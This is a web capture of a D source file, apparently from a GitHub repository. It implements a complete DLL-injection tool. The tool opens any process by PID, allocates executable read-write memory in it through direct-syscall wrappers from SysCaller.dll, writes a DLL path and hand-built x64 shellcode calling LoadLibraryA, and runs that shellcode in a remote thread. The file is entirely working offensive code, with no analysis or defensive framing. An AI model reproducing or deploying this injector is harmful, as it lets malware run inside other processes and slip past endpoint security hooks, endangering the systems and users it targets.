-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathInjectDLL.d
More file actions
182 lines (160 loc) · 6.03 KB
/
Copy pathInjectDLL.d
File metadata and controls
182 lines (160 loc) · 6.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import core.sys.windows.windows;
import core.stdc.stdint;
import core.stdc.stdlib;
import core.stdc.string;
import std.stdio;
import std.string;
import std.conv;
alias NTSTATUS = uint;
extern(Windows) alias PFN_SysAllocateVirtualMemoryEx = NTSTATUS function(
HANDLE /*ProcessHandle*/,
void** /*BaseAddress*/,
size_t* /*RegionSize*/,
uint /*AllocationType*/,
uint /*Protect*/,
void* /*ExtendedParameters*/,
uint /*ExtendedCount*/
);
extern(Windows) alias PFN_SysWriteVirtualMemory = NTSTATUS function(
HANDLE /*ProcessHandle*/,
void* /*BaseAddress*/,
void* /*Buffer*/,
size_t /*BufferSize*/,
size_t* /*NumberOfBytesWritten*/
);
extern(Windows) alias PFN_SysCreateThreadEx = NTSTATUS function(
HANDLE* /*ThreadHandle*/,
uint /*DesiredAccess*/,
void* /*ObjectAttributes*/,
HANDLE /*ProcessHandle*/,
void* /*StartRoutine*/,
void* /*Argument*/,
uint /*CreateFlags*/,
size_t /*ZeroBits*/,
size_t /*StackSize*/,
size_t /*MaximumStackSize*/,
void* /*AttributeList*/
);
extern(Windows) alias PFN_SysClose = NTSTATUS function(HANDLE);
enum MEM_COMMIT = 0x1000;
enum MEM_RESERVE = 0x2000;
enum PAGE_EXECUTE_READWRITE = 0x40;
enum THREAD_ALL_ACCESS = 0x1FFFFF;
enum PROCESS_ALL_ACCESS = 0x1F0FFF;
bool NT_SUCCESS(NTSTATUS status) { return cast(int)status >= 0; }
void appendLE64(ref ubyte[] arr, size_t value)
{
foreach (i; 0 .. 8)
arr ~= cast(ubyte)((value >> (8*i)) & 0xFF);
}
int main(string[] args)
{
if (args.length != 3)
{
writeln("Usage: InjectDLL <pid> <dll_path>");
return 1;
}
uint pid = to!uint(args[1]);
string dllPath = args[2];
HMODULE hSysCaller = LoadLibraryA("SysCaller.dll");
if (hSysCaller is null)
{
writeln("[!] Failed to load SysCaller.dll");
return 1;
}
auto SysAllocateVirtualMemoryEx = cast(PFN_SysAllocateVirtualMemoryEx) GetProcAddress(hSysCaller, "SysAllocateVirtualMemoryEx");
auto SysWriteVirtualMemory = cast(PFN_SysWriteVirtualMemory) GetProcAddress(hSysCaller, "SysWriteVirtualMemory");
auto SysCreateThreadEx = cast(PFN_SysCreateThreadEx) GetProcAddress(hSysCaller, "SysCreateThreadEx");
auto SysClose = cast(PFN_SysClose) GetProcAddress(hSysCaller, "SysClose");
if (SysAllocateVirtualMemoryEx is null || SysWriteVirtualMemory is null || SysCreateThreadEx is null || SysClose is null)
{
writeln("[!] Failed to resolve SysCaller exports");
return 1;
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess is null)
{
writefln("[!] Failed to open process %s", pid);
return 1;
}
char[260] pathBuf;
DWORD n = GetFullPathNameA(toStringz(dllPath), pathBuf.length, pathBuf.ptr, null);
string absPath = (n > 0 && n < pathBuf.length) ? pathBuf[0 .. n].idup : dllPath;
auto pathBytes = (absPath ~ '\0').dup;
void* baseAddress = null;
size_t regionSize = pathBytes.length;
NTSTATUS status = SysAllocateVirtualMemoryEx(hProcess, &baseAddress, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, null, 0);
if (!NT_SUCCESS(status))
{
writefln("[!] Failed to allocate memory for DLL path. Status: 0x%08X", status);
CloseHandle(hProcess);
return 1;
}
writefln("[+] Allocated DLL path memory at: 0x%016X", cast(size_t)baseAddress);
size_t bytesWritten = 0;
status = SysWriteVirtualMemory(hProcess, baseAddress, pathBytes.ptr, pathBytes.length, &bytesWritten);
if (!NT_SUCCESS(status) || bytesWritten != pathBytes.length)
{
writefln("[!] Failed to write DLL path. Status: 0x%08X, Bytes written: %s", status, bytesWritten);
CloseHandle(hProcess);
return 1;
}
writeln("[+] Successfully wrote DLL path to memory");
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 is null)
{
writeln("[!] Failed to get kernel32.dll handle");
CloseHandle(hProcess);
return 1;
}
auto pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
if (pLoadLibraryA is null)
{
writeln("[!] Failed to get LoadLibraryA address");
CloseHandle(hProcess);
return 1;
}
writefln("[+] LoadLibraryA address: 0x%016X", cast(size_t)pLoadLibraryA);
ubyte[] sc;
sc ~= [cast(ubyte)0x48, 0x83, 0xEC, 0x28];
sc ~= [cast(ubyte)0x48, 0xB9];
appendLE64(sc, cast(size_t)baseAddress);
sc ~= [cast(ubyte)0x48, 0xB8];
appendLE64(sc, cast(size_t)pLoadLibraryA);
sc ~= [cast(ubyte)0xFF, 0xD0];
sc ~= [cast(ubyte)0x48, 0x83, 0xC4, 0x28];
sc ~= [cast(ubyte)0xC3];
void* scAddress = null;
regionSize = sc.length;
status = SysAllocateVirtualMemoryEx(hProcess, &scAddress, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, null, 0);
if (!NT_SUCCESS(status))
{
writefln("[!] Failed to allocate shellcode. Status: 0x%08X", status);
CloseHandle(hProcess);
return 1;
}
writefln("[+] Allocated shellcode memory at: 0x%016X", cast(size_t)scAddress);
bytesWritten = 0;
status = SysWriteVirtualMemory(hProcess, scAddress, sc.ptr, sc.length, &bytesWritten);
if (!NT_SUCCESS(status) || bytesWritten != sc.length)
{
writefln("[!] Failed to write shellcode. Status: 0x%08X, Bytes written: %s", status, bytesWritten);
CloseHandle(hProcess);
return 1;
}
writeln("[+] Successfully wrote shellcode");
HANDLE hThread = null;
status = SysCreateThreadEx(&hThread, THREAD_ALL_ACCESS, null, hProcess, scAddress, null, 0, 0, 0, 0, null);
if (!NT_SUCCESS(status) || hThread is null)
{
writefln("[!] Failed to create remote thread. Status: 0x%08X, Handle: %p", status, hThread);
CloseHandle(hProcess);
return 1;
}
writefln("[+] Created remote thread: 0x%016X", cast(size_t)hThread);
WaitForSingleObject(hThread, 5000);
SysClose(hThread);
CloseHandle(hProcess);
writefln("[+] Successfully injected %s!", dllPath);
return 0;
}